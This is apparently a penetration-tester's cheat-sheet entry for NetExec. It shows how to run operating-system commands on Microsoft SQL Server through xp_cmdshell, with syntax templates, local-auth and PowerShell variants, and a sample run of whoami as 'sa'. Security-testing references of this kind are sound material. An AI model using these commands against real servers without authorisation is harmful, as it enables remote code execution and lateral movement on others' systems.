NetExec MSSQL Command Exec

Execute OS commands through MSSQL — auto-enables xp_cmdshell if disabled and the account has sufficient privileges. The fastest path from sysadmin SQL login to RCE.

Curated and verified by Ahmad Alawneh, penetration tester (OSCP+, CRTE) · Last updated April 10, 2026

Tool: nxc
Category: Lateral Movement / MSSQL
Platform: linux
Requires: password
Protocols: MSSQL

Open in Command Manager

Syntax

Angle-bracket tokens are placeholders — replace them with your target's values, or open this command in the app to fill them in and copy the result.

nxc mssql <target> -u '<user>' -p '<password>' -x '<command>'

Credential variants

The same attack using a different authentication material.

Local SQL Auth requires password

nxc mssql <target> -u 'sa' -p '<password>' --local-auth -x '<command>'

PowerShell requires password

nxc mssql <target> -u '<user>' -p '<password>' -X '<powershell>'

Examples

nxc mssql 10.10.10.10 -u sa -p 'Password123!' --local-auth -x whoami